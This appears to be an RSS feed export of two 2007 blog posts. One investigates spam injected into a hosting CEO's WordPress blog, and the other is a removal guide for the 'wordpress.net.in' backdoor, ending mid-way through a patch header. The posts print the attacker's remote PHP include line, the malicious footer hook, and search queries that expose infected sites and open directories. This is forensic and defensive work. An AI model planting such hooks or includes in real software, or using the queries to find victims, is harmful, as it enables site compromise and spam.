<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Kakkoi &#187; cloacking</title>
	<atom:link href="http://42.kaizeku.com/taxonomy/cloacking//feed/" rel="self" type="application/rss+xml" />
	<link>http://42.kaizeku.com</link>
	<description>web development, software, windows tips and trick</description>
	<pubDate>Sat, 12 Jul 2008 15:10:01 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Matt Heaton BlueHost HostMonster CEO Official Blog Hacked</title>
		<link>http://42.kaizeku.com/wordpress/bluehost-hostmonster-ceo-blog-got-hacked/</link>
		<comments>http://42.kaizeku.com/wordpress/bluehost-hostmonster-ceo-blog-got-hacked/#comments</comments>
		<pubDate>Sat, 01 Dec 2007 09:55:53 +0000</pubDate>
		<dc:creator>Avice De'veréux</dc:creator>
		
		<category><![CDATA[Bluehost]]></category>

		<category><![CDATA[HostMonster]]></category>

		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[Blackhat]]></category>

		<category><![CDATA[class-mail]]></category>

		<category><![CDATA[cloacking]]></category>

		<category><![CDATA[DoS+Vulnerability]]></category>

		<category><![CDATA[Exploit]]></category>

		<category><![CDATA[goro+spam]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[localrank]]></category>

		<category><![CDATA[matt+heaton]]></category>

		<category><![CDATA[mick+jagger]]></category>

		<category><![CDATA[milw0rm]]></category>

		<category><![CDATA[networm]]></category>

		<category><![CDATA[php]]></category>

		<category><![CDATA[RealTime+Streaming+Protocol]]></category>

		<category><![CDATA[remote+injection]]></category>

		<category><![CDATA[RSTP]]></category>

		<category><![CDATA[script+injection]]></category>

		<category><![CDATA[sybil+attack]]></category>

		<category><![CDATA[vulnerability]]></category>

		<category><![CDATA[xmlrpc]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.kakkoi.net/wordpress/bluehost-hostmonster-ceo-hacked/</guid>
		<description><![CDATA[<img alt="bluehost hosmonster" src="http://i.kakkoi.net/blue-host-monster.png" title="bluehost hostmonster" style="float:left;margin: 0pt 5px 1px 0pt;" />Just after the recent issue on <a href="http://blog.kakkoi.net/uri/d3d3LmN3cmJsb2cubmV0LzQ4L3dvcmRwcmVzc2NvbWNuLWRlbGV0ZS11c2VyLWFjY291bnRzLXdpdGhvdXQtbm90aWNlcy5odG1s.curie,80,302">wordpress.com.cn</a> now there is new wordpress imitater. A remote spamware injection by <strong>wordpress.net.in</strong><p class="vcard">I was reading one of <a href="http://blog.kakkoi.net/uri/bWF0dGhlYXRvbi5jb20vP3A9MTA5.curie,80,302" rev="matheatton" rel="external robots-nofollow nofollow" class="curie url fn"><span class="given-name">Matt</span> <span class="family-name">Heaton</span></a><a href="http://blog.kakkoi.net/uri/bWF0dGhlYXRvbi5jb20vP3A9MTA5.curie,80,302" rev="matheatton" rel="external robots-nofollow nofollow" class="curie"> posted 2 days</a> ago when  I  found bunch of spamsware link on <a rev="mattheaton:blog" href="http://blog.kakkoi.net/wp-content/uploads/2007/12/mattheatoncom-wordpress-footer.png" title='view mattheaton.com wordpress footer'>his wordpress footer</a>.</p>
<p> Matt's is using default wodpress theme (kubrick) with single javascript for adsense. The only way the spams can get in is probably via php injection or by manual editing. All the spamware is redirect to <tt>howardowens.com/?order=XX</tt> page</p>]]></description>
			<content:encoded><![CDATA[
<!-- google_ad_section_start -->
<p class="notice mgb"><small>Dec 11 2007</small> - Matt Heaton Blog&#8217;s has been cleansed. ATM he&#8217;s using latest version of WordPress (2.3.x). And also most of the blogs lists in this articles has been upgrade. </p>
<p class="notice mgt mgb"><small>Jan 26th, 2008</small> - Seem like bluehost engineer did a bad job at cleaning, <a href="/wordpress/mattheaton-bluehost-hostmonster-ceo-hacked/">the goro spam is back</a>. </p>
<p><img alt="bluehost hosmonster" src="http://i.kakkoi.net/blue-host-monster.png" title="bluehost hostmonster" class="thumb- fl" />Just after the recent issue on <a href="http://blog.kakkoi.net/uri/d3d3LmN3cmJsb2cubmV0LzQ4L3dvcmRwcmVzc2NvbWNuLWRlbGV0ZS11c2VyLWFjY291bnRzLXdpdGhvdXQtbm90aWNlcy5odG1s.curie,80,302">wordpress.com.cn</a> now there is new wordpress imitater. A remote spamware injection by <strong>wordpress.net.in</strong>
<p class="vcard">I was reading one of <a href="http://blog.kakkoi.net/uri/bWF0dGhlYXRvbi5jb20vP3A9MTA5.curie,80,302" rev="matheatton" rel="external robots-nofollow nofollow" class="curie url fn"><strong class="given-name" style="font-weight:400">Matt</strong> <strong class="family-name" style="font-weight:400">Heaton</strong></a><a href="http://blog.kakkoi.net/uri/bWF0dGhlYXRvbi5jb20vP3A9MTA5.curie,80,302" rev="matheatton" rel="external robots-nofollow nofollow" class="curie"> posted 2 days</a> ago when I found bunch of spamsware link on <a rev="mattheaton:blog" href="http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/mattheatoncom-wordpress-footer.png" title='view mattheaton.com wordpress footer'>his wordpress footer</a>.</p>
<p stle="text-align:right" class="cb"><a href="http://blog.kakkoi.net/uri/d3d3LnNoYXJlYXBpYy5uZXQvY29udGVudC5waHA_aWQ9NDY5MTczNA.curie,80,302" rel="nofollow" rev="sharepic:mattheatonfooter"><img src="http://gmodules.com/ig/proxy?url=http://www.shareapic.net/preview2/004691734.png" class="fr" alt="mattheaton.com bluehost ceo hack wordpress footer" width="130" height="68" /></a></p>
<p> Matt&#8217;s is using default wodpress theme (kubrick) with single javascript for adsense. The only way the spams can get in is probably via php injection or by manual editing. All the spamware is redirect to <tt>howardowens.com/?order=XX</tt> page.</p>
<h3 id="lookup-results" style="margin-top:36px">Lookup for howardowens.com</h3>
<p>The below diagram explained the lookup results for <a href="http://www.howardowens.com">howardowens.com</a>. <small>click on the image to enlarge.</small></p>
<p><a href='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/lookup-results-for-howardowens-com.png' title='lookup results for howardowens-com'><img src='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/lookup-results-for-howardowens-com.thumbnail.png' alt='lookup results for howardowens-com' /></a><br />
Surprisingly the <span style="text-decoration:line-through">spammer</span> website is also host by bluehost.com (69.89.16.0/20,74.220.192.0/19 ,69.89.16.4 -> box183.bluehost.com).
</p>
<p><span id="more-44"></span></p>
<h2 id="tracking-summary" style="margin-top:18px; border-top: 1px solid #ccc; padding-top:18px" class="sumarry">
Tracking the spam sources.<br />
</h2>
<div class="description">
<p><a href="http://blog.kakkoi.net/uri/d3d3LnNoYXJlYXBpYy5uZXQvY29udGVudC5waHA_aWQ9NDY2OTg1Mw.curie,80,302" rel="nofollow" title="MattHeaton.com Blog Hacked Screenshot"><img src="http://gmodules.com/ig/proxy?url=http://www.shareapic.net/preview2/004669853.png" alt="mattheaton.com hacked" width="15" height="130" class="fl" /></a>Viewing <span class="vcard"><a href="view-source:http://mattheaton.com" class="url fn org">mattheaton.com</a></span> html sources I found some hint and start searching for <tt style="background-color:#fff7c7;color:#333;padding:3px">xanax intext:id=\&#8221;goro\&#8221;</tt>. Google return <a href="http://www.google.com/search?q=xanax+intext%3Aid%3D%5C%22goro%5C%22" rel="external nofollow robots-nofollow" rev="google:result">2 results</a> for this query. </p>
<dl id="meta-search-results" class="google-query cb" style="line-height:1.6em">
<dt style="float:left;margin-right:3px;width:150px"><small>1.</small>&nbsp;Wordpress Support</dt>
<dd><a href="http://blog.kakkoi.net/uri/d29yZHByZXNzLm9yZy9zdXBwb3J0L3RvcGljLzEzOTQ1NQ.curie,80,302" rel="external" rev="wordpress:forum" title="php get footer adding spam code">php get footer adding spam code?</a></dd>
<dt style="clear:left;float:left;margin-right:3px;width:150px"><small>2.</small>&nbsp;elijahzarwan.net</dt>
<dd><a href="http://blog.kakkoi.net/uri/ZWxpamFoemFyd2FuLm5ldC9ibG9nLz9wPTQzMw.curie,80,302" rel="external nofollow robots-nofollow" class="curie" rev="elijahzarwan:entries" title="div id=&quot;goro&quot;"><strong style="font-weight:400">div id=”Goro”</strong></a> <small>(nice headline)</small>
</dl>
<p> Both site suggest same type of php injection methods<br />
<code lang="php"> include('http://wordpress.net.in/statcounter.php');</code>
</p>
<p>The statcounter.php is just normal text/plain full with spam links. The spam content on Matt Heaton blog is randomly generate from <strong>http://wordpress.net.in/</strong>[random]/ random = 1 - 9.</p>
</div>
<h2 id="raw-whois" style="clear:left;margin-top:18px; border-top: 1px solid #ccc; padding-top:18px">Raw whois for wordpress.net.in</h2>
<pre class="prebox">
Domain ID:D2500581-AFIN
Domain Name:WORDPRESS.NET.IN
Created On:22-Apr-2007 12:01:55 UTC
Last Updated On:22-Jun-2007 02:26:40 UTC
Expiration Date:22-Apr-2008 12:01:55 UTC
Sponsoring Registrar:Direct Information Pvt. Ltd. dba PublicDomainRegistry.com (R5-AFIN)
Status:OK
Registrant ID:DI_4275224
Registrant Name:Mick Jagger
Registrant Organization:N/A
Registrant Street1:1 Red Square
Registrant City:Moscow
Registrant State/Province:Massachusetts
Registrant Postal Code:123592
Registrant Country:RU
Registrant Phone:+007.7581235641
Registrant Email:mkk.goro@bk.ru
Admin ID:DI_4275224
Admin Name:Mick Jagger
Admin Organization:N/A
Admin Street1:1 Red Square
Admin City:Moscow
Admin State/Province:Massachusetts
Admin Postal Code:123592
Admin Country:RU
Admin Phone:+007.7581235641
Admin Email:mkk.goro@bk.ru
Tech ID:DI_4275224
Tech Name:Mick Jagger
Tech Organization:N/A
Tech Street1:1 Red Square
Tech City:Moscow
Tech State/Province:Massachusetts
Tech Postal Code:123592
Tech Country:RU
Tech Phone:+007.7581235641
Tech Email:mkk.goro@bk.ru
Name Server:MKKG98981.MERCURY.ORDERBOX-DNS.COM
Name Server:MKKG98981.VENUS.ORDERBOX-DNS.COM
Name Server:MKKG98981.EARTH.ORDERBOX-DNS.COM
Name Server:MKKG98981.MARS.ORDERBOX-DNS.COM
</pre>
<p class="note" style="margin:10px;padding:10px;border:1px solid #eee">Note: The registrant address on <abbr title="1 red square, Moscow">1 red square</abbr> is a famous restaurant in Moscow.</p>
<p> Its pretty obvious that <tt>wordpress.net.in</tt> belong to registrar in India.</p>
<h2 style="clear:left;margin-top:18px; border-top: 1px solid #ccc; padding-top:18px">Live example wordpress.net.in injection </h2>
<p> Google query for <tt style="background-color:#fff7c7;color:#444;padding:3px">warning &#8220;[function.include]&#8221; allintext: &#8220;wordpress.net.in&#8221; </tt> . Used <a href="http://blog.kakkoi.net/uri/d3d3LmZpZGRsZXJ0b29sLmNvbS9maWRkbGVyLw.curie,80,302" rel="nofollow external robots-nofollow" rev="fiddler:httpdump">fiddler</a> or any http-inspector to trace the full header request.
</p>
<dl id="meta-search-results-wordpress-net-in-inject" class="google-query" style="line-height:1.6em">
<dt style="clear:left;float:left;margin-right:3px;width:160px"><small>1</small>&nbsp;Evan Morris</dt>
<dd>Wordpress 2.0.6 | <a href="http://blog.kakkoi.net/uri/d3d3LndvcmQtZGV0ZWN0aXZlLmNvbS93b3JkcHJlc3MvP3A9MTIy.curie,80,302" rel="nofollow external robots-nofollow">url</a> | <a href='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/wordpressnetin-goro-injection.png' title='wordpress.net.in goro injection'>screenshot</a></dd>
<dt style="clear:left;float:left;margin-right:3px;width:160px"><small>2</small>&nbsp;carwax</dt>
<dd>Wordpress 1.5.2 | <a href="http://blog.kakkoi.net/uri/YmxvZy5jYXJ3YXhwcm9kdWN0aW9ucy5jb20vP209MjAwNjAz.curie,80,302" rel="external nofollow" title="blog.carwaxproductions.com">url</a> | screenshot </dd>
<dt style="clear:left;float:left;margin-right:3px;width:160px"><small>3</small>&nbsp;aabenthus.biz</dt>
<dd>Wordpress 2.0.x | <a href="http://blog.kakkoi.net/uri/YWFiZW50aHVzLmJpeg.curie,80,302" rel="external nofollow robots-nofollow">url</a> | screenshot </dd>
<dt style="clear:left;float:left;margin-right:3px;width:160px"><small>4</small>&nbsp;mythinger.com</dt>
<dd>Wordpress 2.0.2 | <a href="http://209.85.173.104/search?q=cache:w5Sd6heMJL0J:johnboone.mythinger.com/+wordpress.net.in&#038;hl=en&#038;ct=clnk&#038;cd=21&#038;gl=us&#038;client=firefox-a">url</a> | <a href='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/johnboonemythingercom-wordpressnetin.png' title='johnboone.mythinger.com wordpress.net.in'>screenshot</a></dd>
<dt style="clear:left;float:left;margin-right:3px;width:160px"><small>5</small>&nbsp;classicalanglican.net</dt>
<dd>Wordpress 2.0.2 | <a href="http://209.85.173.104/search?q=cache:fZb5-RNSGv0J:titusonenine.classicalanglican.net/%3Fp%3D13132+wordpress.net.in&#038;hl=en&#038;ct=clnk&#038;cd=22&#038;gl=us&#038;client=firefox-a" rel="external nofollow">url</a> | <a href='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/titusonenineclassicalanglicannet-wordpressnetin.png' title='titusonenine.classicalanglican.net wordpress.net.in'>screenshot</a>
</dd>
<dt style="clear:left;float:left;margin-right:3px;width:160px"><small>6</small>&nbsp;echo9er.net</dt>
<dd>WordPress 1.5.1 | <a href="http://blog.kakkoi.net/uri/d3d3LmVjaG85ZXIubmV0L2Jsb2cvP3A9MjQwMA.curie,80,302" rel="external nofollow">url</a> | screenshot </dd>
<dt style="clear:left;float:left;margin-right:3px;width:160px"><small>7</small>&nbsp;boyarick.com</dt>
<dd> Wordpress 2.0.2 | <a href="http://blog.kakkoi.net/uri/Ym95YXJpY2suY29tL2Jsb2cvP3A9MTM2.curie,80,302" rel="nofollow external robots-nofollow">url</a> | screenshot</dd>
</dl>
<h2 style="clear:left;margin-top:18px; border-top: 1px solid #ccc; padding-top:18px">Google Directory search for class-mail.php</h2>
<p>Search for <strong>class-mail.php</strong> in open directory (public).<br />
<tt style="background:#fff7c7;color:#444;padding:3px">&#8220;parent directory&#8221; class-mail.php -html -htm –php -shtml -md5 -md5sums</tt></p>
<ul class="xoxo">
<li> <strong>jean-cyril.com</strong> - <a href="http://blog.kakkoi.net/uri/d3d3LmplYW4tY3lyaWwuY29tL3dwLWluY2x1ZGVzLw.curie,80,302" rel="nofollow external robots-nofollow" rev="wordpress:directory">wp-includes</a> &middot; spams link redirect to <tt>www.901am.com/?page=2157</tt>. jean-cyril.com has wp-info.txt inside his wp-includes directory. This text files hold unserialize database password and stuff.</li>
<li> <strong>floaridablog.org</strong> - <a href="http://blog.kakkoi.net/uri/ZmxvcmlkYWJsb2cub3JnL3dvcmRwcmVzcy93cC1pbmNsdWRlcy8.curie,80,302" rel="nofollow external robots-nofollow" rev="wordpress:directory">wp-includes</a> &middot; spams redirect to <tt>communications.uml.edu/sunrise/?id=1076</tt> (University of Massachusetts Lowell) the offending spams page has been removed by UML maintainer.</li>
</ul>
<h2 tyle="clear:both;margin-top:18px; padding-top:18px">Hiding from search engine Spiders</h2>
<p>First, I did some more comparative search at <a href="http://archive.org" rel="external" rev="webservices:alexa">archive.org</a> for howardowens.com and mattheaton.com. It turn out both of this sites has been stop from IA Archiver few months before the spams start showing on their footer. You will need to check howardowens index on archive.org so you can understand my suspicious.</p>
<ul>
<li>http://web.archive.org/web/*/http://www.howardowens.com</li>
<li>http://web.archive.org/web/*/http://www.mattheaton.com</li>
</ul>
<p>Out of boredom I cloaked myself as the following agents.</p>
<ul>
<li>Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) - 74.6.8.125 - llf520032.crawl.yahoo.net</li>
<li>Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 66.249.64.50 - crawl-66-249-64-50.googlebot.com</li>
<li>Mozilla/2.0 (compatible; Ask Jeeves/Teoma) - 65.214.44.204 - egspd42002.ask.com</li>
<li>Mediapartners-Google/2.1 66.249.73.213 - crawl-66-249-73-213.googlebot.com
</ul>
<p>Not much change on both of these sites. Then I read the status header, it return 404 instead of 200. Nice tricks for stopping crawler &#038; spider from spying their joy-ride-spamhouse.
</p>
<h2 tyle="clear:both;margin-top:18px; padding-top:18px">Summary</h2>
<p>bits &#038; bytes from this accident we knew that</p>
<ul>
<li>Most of the site inject are running on wordpress 2.0.6 &#038; below</li>
<li><strong>allow_furl_open</strong> is set to true for this injection to work</li>
<li>Most of the blogs owner is unaware about the spams links (cloacking)</li>
</ul>
<p>Checkout Murray <a href="http://gmodules.com/ig/proxy?url=http://www.murrayc.com/blog/wp-content/uploads/2007/11/access_log.txt" rel="nofollow external" class="exturl icn-r" type="text/plain">access log</a>, it will give you some ideas with the remote injections methods.</p>
<h2>Update </h2>
<dl>
<dt>Dec 03 2007</dt>
<dd>All the spams link to <tt>howardowens.com</tt> page has been removed. I havent talk with howardowens but I assume howard&#8217;s site is being injected the same way like Matt Heaton blog.</dd>
<dt>Dec 04 2007</dt>
<dd>Mattheaton.com has a minor update, the spams now inject on both header and footer.<br />
<tt>tangonoticias.com:7070/d_pill/577.html</tt>.<br />
As tangonoticias.com is running on Joomla CMS they create a static &#8220;Wordpress&#8221; on port 7070 (Real Network Server &#038; RSTP Port). This is probably a work of different attacker, taking advantage of Matt heaton blindspot. <a href="http://64.233.167.104/search?q=cache:xjPu95m8yEAJ:mattheaton.com&#038;hl=en&#038;ct=clnk&#038;cd=1&#038;gl=us">Google Cache</a> <small>(Nov 12)</small> </dd>
<dt>Dec 11 2007</dt>
<dd>Matt heaton has been purified. He&#8217;s now using latest version of Wordpress (2.3.1). You can still view it on cached thought &#038; <a href="http://blog.kakkoi.net/uri/d3d3LnNoYXJlYXBpYy5uZXQvY29udGVudC5waHA_aWQ9NDY2OTg1Mw.curie,80,302" rel="nofollow external" rev="sharepic:gallery">screenshot</a>. </dd>
</dl>
<h2>Related Post</h2>
<ul class="xoxo">
<li><a href="wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/"> How to Removed wordpress.net.in Spam Injection</a></li>
<li><small>Jan 31st, 2008</small> - <a href="/wordpress/mattheaton-bluehost-hostmonster-ceo-hacked/">Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II</a></li>
</ul>
<h2 id="related-entries" class="mgb-">External Links</h2>
<ul class="xoxo pdt exturl">
<li><a href="http://www.mattheaton.com">Bluehost Hostmonster CEO&#8217;s blog</a></li>
<li><a href="http://blog.kakkoi.net/uri/d3d3LnJvYnRleC5jb20vZG5zL3dvcmRwcmVzcy5uZXQuaW4uaHRtbA.curie,80,302" rev="robtex:lookup" rel="nofollow external robots-nofollow" title="Lookup via robtext">DNS Lookup results for wordpress.net.in</a></li>
<li><a href="http://blog.kakkoi.net/uri/d3d3LmFib3V0dXMub3JnL01hdHRIZWF0b24uY29t.curie,80,302" rel="external nofollow robots-nofollow" rev="aboutus:mattheaton" title="View mattheaon.com wiki on Aboutus.org">Aboutus.org wiki on MattHeaton.com</a></li>
<li><a href="http://blog.kakkoi.net/uri/bnZkLm5pc3QuZ292L252ZC5jZm0_Y3ZlbmFtZT1DVkUtMjAwNi00NzQz.curie,80,302" rel="external nofollow robots-nofollow" rev="nvd:cve2006-4743" class="curie" title="National Vulnerabilities Database CVE 2006-4743">National Vulnerabilities Database (NVD) on Wordpress 2.0 > 2.0.5 vulnerabilities</a></li>
<li><a href="http://blog.kakkoi.net/uri/d3d3Lm11cnJheWMuY29tL2Jsb2cvcGVybWFsaW5rLzIwMDcvMTEvMTYvbXktd29yZHByZXNzLWNyYWNrZWQv.curie,80,302" rel="external nofollow robots-nofollow" rev="wordpress:hacked" title="My Wordpress Cracked">Murray&#8217;s Blog My Wordpress Cracked</a></li>
<li><a href="http://pseudo-flaw.net/log/20/more-random-wordpress-blogs-and-al-gore-owned-by-seo-spammers">pseudo-flaw - more random wordpress blogs owned by seo spammers</a>
</ul>
<!-- google_ad_section_end -->
]]></content:encoded>
			<wfw:commentRss>http://42.kaizeku.com/wordpress/bluehost-hostmonster-ceo-blog-got-hacked/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to remove wordpress.net.in spams</title>
		<link>http://42.kaizeku.com/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/</link>
		<comments>http://42.kaizeku.com/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/#comments</comments>
		<pubDate>Fri, 30 Nov 2007 09:06:54 +0000</pubDate>
		<dc:creator>Avice De'veréux</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[vulnerability]]></category>

		<category><![CDATA[backdoor]]></category>

		<category><![CDATA[cloacking]]></category>

		<category><![CDATA[default-filters]]></category>

		<category><![CDATA[goro]]></category>

		<category><![CDATA[spam]]></category>

		<category><![CDATA[web+sniffer]]></category>

		<category><![CDATA[xmlrpc]]></category>

		<guid isPermaLink="false">http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-spam-injection-infected-by-mike-jagger-goro-class-mailphp/</guid>
		<description><![CDATA[

I found this while browsing WordPress support forum, some of these victims update their default_filters.php and upload class-mail.php inside their WordPress without being aware that it&#8217;s a backdoor (wordpress.net.in). There is no class-mail.php in WordPress except class-phpmailer.php. So don&#8217;t get confuse by it.
Below is a quick workaround on how you can removed the offending goro [...]]]></description>
			<content:encoded><![CDATA[
<!-- google_ad_section_start -->
<p><img src='http://blog.kakkoi.net/wp-content/uploads/2008/03/wordpress-blackhat-seo-spam.png' alt='wordpress-blackhat-seo-spam.png image by chaoskaizer' width="128" height="128" longdesc="http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/" class="photo thumb- fl" />I found this while browsing WordPress support forum, some of these victims update their <strong>default_filters.php</strong> and upload <tt class="di">class-mail.php</tt> inside their WordPress without being aware that it&#8217;s a <a href="http://en.wikipedia.org/wiki/Backdoor_%28computing%29" class="exturl icn-r1">backdoor</a> (wordpress.net.in). There is no <strong>class-mail.php</strong> in WordPress except <strong>class-phpmailer.php</strong>. So don&#8217;t get confuse by it.</p>
<p>Below is a quick workaround on how you can removed the offending <strong class="fw-">goro</strong> spamware injection before Google banned you from the internet pipes.</p>
<p><span id="more-51"></span></p>
<h2 class="cb mgt mgb-">Workaround</h2>
<ul class="xoxo exturl pdt">
<li>For temporary disable remote include in <tt class="di">php.ini</tt> settings.
<pre class="prebox">
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = off
allow_url_include = off
</pre>
</li>
<li>Check your <em>.htaccess</em> for suspicious redirect.</li>
<li>Find <strong>class-mail.php</strong> inside <tt class="di">&#8220;*/wp-includes/&#8221;</tt> directory and removed it.</li>
<li>Find the following code inside <tt class="di">&#8220;*/wp-includes/default_filters.php&#8221;</tt> and removed it
<pre class="prebox">
add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16<>b8466d864eeefd20050625c7775() {
@include('./wp-includes/class-mail.php');
if(sizeof($wparr)>0){
echo "!div id=\"goro\"!";
foreach($wparr as $k=>$v){
echo "“.ucwords($v[’key’]).”\n”;
if($i++==$inum) break;
}
echo “!/div!”.$_footer;
}
}
</pre>
</li>
<li>
<h3>Robots.txt Exclusion</h3>
<p><span class="fw">Optional</span> - Prevent googlebot from indexing the static spam page.<br />
Login to <tt class="di">Wordpress Admin > Manage > Files > Other Files</tt> &rarr; Key in &#8220;Robots.txt&#8221;. Add the following code.</p>
<pre class="prebox">
User-agent: Googlebot
Disallow: /*?*
Disallow: /*?
</pre>
<p>Refer <a href="http://blog.kakkoi.net/robots.txt" class="inturl icn-r1">robots.txt</a>.
</li>
</ul>
<h2>Possible WordPress class (suspicious) files that would be tempered</h2>
<p>Md5 checksum the following files, compare it with official versions from <a href="http://wordpress.org/download/release-archive/" class="exturl icn-r1">WordPress Release Archive</a>.</p>
<ul class="xoxo exturl">
<li><a href="http://xref.redalt.com/wptrunk/wp-includes/wp-db.php.source.htm">wp-db.php</a></li>
<li><a href="http://xref.redalt.com/wptrunk/wp-includes/gettext.php.source.htm">gettext.php</a></li>
</ul>
<p class="mgt">The above methods only remove and disabled the spams links, there is no guarantee that it will protected you from future vulnerabilities. Backup (or export your post using WordPress eXtended RSS -WRX) and perform a <a href="http://codex.wordpress.org/Upgrading_WordPress">full upgrade</a>.</p>
<dl class="r" style="padding:18px 2px;margin:18px 0px;border:1px solid #ccc;border-width:1px 0pt">
<dt class="title">Dec 13, 2007</dt>
<dd>
<p>I just notice this recently. You&#8217;ll need to check your site HTTP Header. Most of the hijacked websites doesn&#8217;t response with correct HTTP Status Header <tt class="di">(400<>500)</tt>. My guess is they did this to cloak from being crawl by search engine spiders. If you had cleaned all the infected files and your header doesn&#8217;t response correctly get a <a class="exturl icn-r1" href="http://www.google.com/search?q=apache+rootkit+scans">rookit scanner</a>.</p>
</dd>
<dd>
<p class="notice">Check your website status header, try cloak your browser (UA) as Search Engine Crawler. The following screenshot will show you how to setup this at web-sniffer.net.</p>
<p><img src='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/change-user-agent-strings-as-googlebot.png' alt='change user agent strings as googlebot' style="padding:10px 2px;margin:10px 0px;border:1px solid #eee" width="584" height="274" longdesc="http://blog.kakkoi.net/wp-content/uploads/2007/12/change-user-agent-strings-as-googlebot.png" />
<p>This methods may not work if the cloaking scripts used IP base tracking. So try on different user agent string (ie: inoktomi, askjeeves, ia_archiver). </p>
<h3>Firefox Browser</h3>
<p>You can also override your useragent string with firefox &darr;.</p>
<p> <tt class="db" style="padding:3px;background-color:#fff7c7;color:#333">about:config &rarr; general.useragent.overide = &#8216;<a href="http://www.google.com/search?q=search+engine+user+agent" rel="external nofollow" rev="google:query">ua strings</a>&#8216;</tt></p>
</dd>
</dl>
<h3>Wordpress.net.in Backdoor</h3>
<p><a href='#' id='open-extra-info' onclick='wpi_fxToggle("#extra-info");return false;'>Extra info</a></p>
<dl class="r">
<dd id="extra-info" style="display:none"><strong>Dec 14, 2007</strong>
<p>I did some research at <a href="http://www.archive.org">archive.org</a>. It seem our wordpress.net.in Seo Spam has been going on since 2005. The first variant used file_get_contents() PHP functions to retrieve their sources code (A <a href="http://www.phpclasses.org/browse/file/7820.html">UTF MAP Decoder</a> 1974 Php Class ). </p>
<p>I also found a signature name <strong>alxumuk</strong> (at MIT &#038; wordpress.net.in). His first historic test can be root back at <tt>*.media.mit.edu/~?</tt> server (I hide the userid as it may be &#8220;false positive&#8221;). After my first search on google for alxumuk all the results has been scraped out by Google &#038; &#8220;Google alert&#8221; so there is no references to this query in Google Index.</p>
<p>My query for <tt class="db" style="padding:3px;background-color:#fff7c7;color:#333">file_get_contents include require allintext:1974.*</tt> (the UTF decode package) and the signature (alxumuk) will return <em>403 Forbidden</em>.</p>
<p style="text-align:center"><img src='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/google-advance-query-403.jpg' alt='Google advance query 403' longdesc="http://blog.kakkoi.net/wp-content/uploads/2007/12/google-advance-query-403.jpg" width="469" height="600" /></p>
<p>As <a href="http://www.google.com/advanced_search?hl=en" hreflang="en" rel="external" rev="google:search">Google Advanced Search</a> blocked &#8220;the query&#8221; this may confirm that 1974.* (UTF decode) is probably the package for reading the bootstrap for wordpress.net.in backdoor (similar case like perl.santy net worm).</p>
<p> If this is a true Net Worm, I suggest anyone with older versions of Wordpress should removed\ the meta generator tag (Wordpress versions) and disabled XML-RPC(&#038; RSD) for <a href="http://www.google.com/search?q=hardening+wordpress">hardening wordpress</a> from remote vectors vulnerabilities.</p>
</dd>
</dl>
<h2>Wordpress.net.in Doorway</h2>
<p><span class="fw">Dec 24, 2007</span> &rarr; <tt class="di">http://www.wordpress.net.in/mentors/alxumuk/</tt></p>
<h2>Backdoor Files</h2>
<p>inside <tt class="di">wp-includes</tt> directory.</p>
<ul>
<li>compat.php - <small>(replace with latest version)</small></li>
<li>class-mail.php <small>delete</small></li>
</ul>
<p>scan &#038; removes all backdoor files and create a <tt class="di">.htaccess</tt> file inside <tt class="di">wp-includes</tt> &#038; <tt class="di">wp-content/plugins</tt>. Then add the following code to disabled directory listing (prevent informations leak &#038; Directory search index).</p>
<pre class="smallbox">Options -Indexes</pre>
<h2>Wordpress.net.in New Partner</h2>
<p><small>Feb 23th 2008</small>, We found a similar signature like wordpress.net.in at qwetro.com (germany). Probably from the same attacker with different agenda. </p>
<h2>removes malicious create_function wp_head filters</h2>
<p>This are fixes for <strong class="fw-">wordpress.net.in spams</strong> header injection.</p>
<pre class="prebox">&#47;&#42;&#42;
 &#42; Remove create_function action hook
 &#42; append on wordpress wp_head filters
 &#42;
 &#42; &#64;author Avice De&#39;v&#233;reux &#60;ck&#64;kaizeku&#46;com&#62;
 &#42; &#64;copyright Copyright &#40;c&#41; 2006 Avice De&#39;v&#233;reux
 &#42; &#64;version 1&#46;0
 &#42; &#64;license http&#58;&#47;&#47;www&#46;gnu&#46;org&#47;licenses&#47;lgpl&#46;html GNU Lesser General Public License
 &#42; &#64;link http&#58;&#47;&#47;blog&#46;kaizeku&#46;com&#47;wordpress&#47;goro&#45;spam&#45;injection&#45;wp&#45;head&#45;patch&#47;
